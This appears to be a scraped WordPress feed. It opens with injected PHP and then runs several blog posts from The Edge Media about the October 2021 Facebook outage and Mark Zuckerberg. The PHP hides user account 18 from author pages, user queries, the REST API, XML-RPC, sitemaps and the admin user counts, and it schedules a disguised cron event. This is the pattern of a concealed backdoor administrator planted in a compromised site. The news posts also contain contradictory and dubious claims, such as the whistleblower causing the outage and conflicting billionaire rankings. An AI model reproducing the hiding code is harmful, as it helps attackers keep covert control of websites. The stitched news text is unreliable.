add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Facebook Outage – Causes and Effects of One of the Biggest It Failure appeared first on The Edge Media.
]]>However, on Monday, October 4, all Facebook apps and services suddenly stopped working. The outage occurred around 9:30 p.m. Indian time, and all services were restored by 3:20 a.m. Although outage occurred after regular business hours and was resumed before business hours in India. Still, it impacted users who could not chat and talk due to the unavailability of services. Furthermore, in continents such as Europe, the USA, and Australia, the outage occurred during business hours, so consumers in those geographies suffered more.
Many small and medium businesses across the globe use different features of Facebook to operate their business effectively. Among facebook’s most used features, call-to-action pages, Facebook pages, order booking, event apps, Facebook pixels, Facebook analytics, Facebook beacons, etc., are prominent. Small businesses use Facebook’s call-to-action pages instead of creating their own website. Creating, handling, and updating the Facebook page is relatively easy and cheaper. Nowadays, the practice of broadcasting events, conversations, teaching, etc., live on Facebook and Instagram is increasing. Due to all these reasons, many companies, businesses, and people have become dependent on Facebook. In such a situation, the unavailability of services without advance notice raises tough questions about Facebook’s business credentials. Its direct impact was apparently visible on Facebook’s share price, and Mark Zuckerberg lost $6 billion from his net worth in a few hours.
Stunned by the sudden outage, Facebook immediately issued a press release clarifying that it was not a cyberattack and occurred due to a faulty configuration change. This problem’s leading cause was the error in the Border Gateway Protocol (BGP). Actually, BGP works as the roadmap to reach a particular website. A recent update caused an error in the system. Consequently, the company’s server address disappeared from the Internet. The Internet is a network of computers worldwide with countless computers, servers, and data centers connected. Our computers and phones access data from data warehouses located far away with the help of routers. The routers help send requests for information to these data centers, which they get through the BGP. Facebook’s problem arose because the faulty configuration change led to routers straying from facebook’s data center. So the routers felt that the data center was not present at all.
The ideal solution to the problem is to inform the address of data centers to the routers, although, in the case of Facebook, it appears that their staff was using the same faulty network. Hence they were not able to communicate internally. Remote access to the data center was also not possible due to the integrated network. The second possible solution was to physically go to the data center, refresh the entire system, and fix the routers. However, according to a report from Reddit, which is now deleted, access card authentication could not happen as it takes place through the same network. Hence staff could not enter to data center quickly, and the whole correction process was stretched for hours. This was the most significant outage in a leading organization in the near past. Moreover, Facebook keeps all its data on the same centralized server, which disrupted other Facebook businesses like What’s app, Instagram, etc.
The service outage of a globally operating company like Facebook is a big issue for IT businesses. Better procedures can help in preventing such unwanted incidents. The evolution of DevOps tools has automated the entire upgrade and configuration process. However, it is complicated to predict such failures due to process automation, especially when it relates to the basic infrastructure of networking. To overcome such a significant deadlock, big companies should always keep alternative backup arrangements. Further, this outage notifies and approves that more prominent organizations should use different and multiple networks for their internal, external, and end consumers. Also, using separate networks and infrastructure for various ventures of the same group can prevent the widespread outage of the entire group like it happened to Facebook.
Coincidently, the outage occurred when former Facebook employee Francis Hogan was about to talk about Facebook’s unethical business practices at the US Congress. This incident also warns consumers to not depend on a single service provider. Keep alternative arrangements handy to run business and services smoothly. You can switch to other services immediately in case of such outages, only if you have a backup plan ready. Keep backing up your essential information and contacts secure at a secure location like your PC and reliable cloud storage. We can avoid the adverse effects of unexpected breakouts like Facebook outages using basic and more reliable features like email and text.

Author – Prabhat Sinha, IT Business expert and Amazon Bestseller Author
Email: kprabhatsinha@gmail.com
The post Facebook Outage – Causes and Effects of One of the Biggest It Failure appeared first on The Edge Media.
]]>The post After the Facebook outage, Mark Zuckerberg loses nearly $6 billion in just a few hours appeared first on The Edge Media.
]]>
A whistleblower came forward hours before the disruption and exposed her identity, which most likely contributed to the outage. Zuckerberg’s worth was decreased by almost $6 billion in just a few hours. This has landed Zuckerberg in fifth place among billionaires, according to the Bloomberg Billionaires Index.
He is now in sixth place, with $120.9 billion, behind Bill Gates. Facebook’s stock has lost roughly 5% of its value since mid-September, bringing the total loss to 15%.
The post After the Facebook outage, Mark Zuckerberg loses nearly $6 billion in just a few hours appeared first on The Edge Media.
]]>The post Zuckerberg Plans to Work Remotely, Allows Employees For Work-From-Home appeared first on The Edge Media.
]]>“I realised that working at a remote gave me more time to think about and enabled me to spend more time with my family, making me more happy and productive,” Zuckerberg writes on Wednesday to the staff in the newspaper.
CNN said he will be working remotely, citing the Facebook spokesperson for at least the part of next year.
The post Zuckerberg Plans to Work Remotely, Allows Employees For Work-From-Home appeared first on The Edge Media.
]]>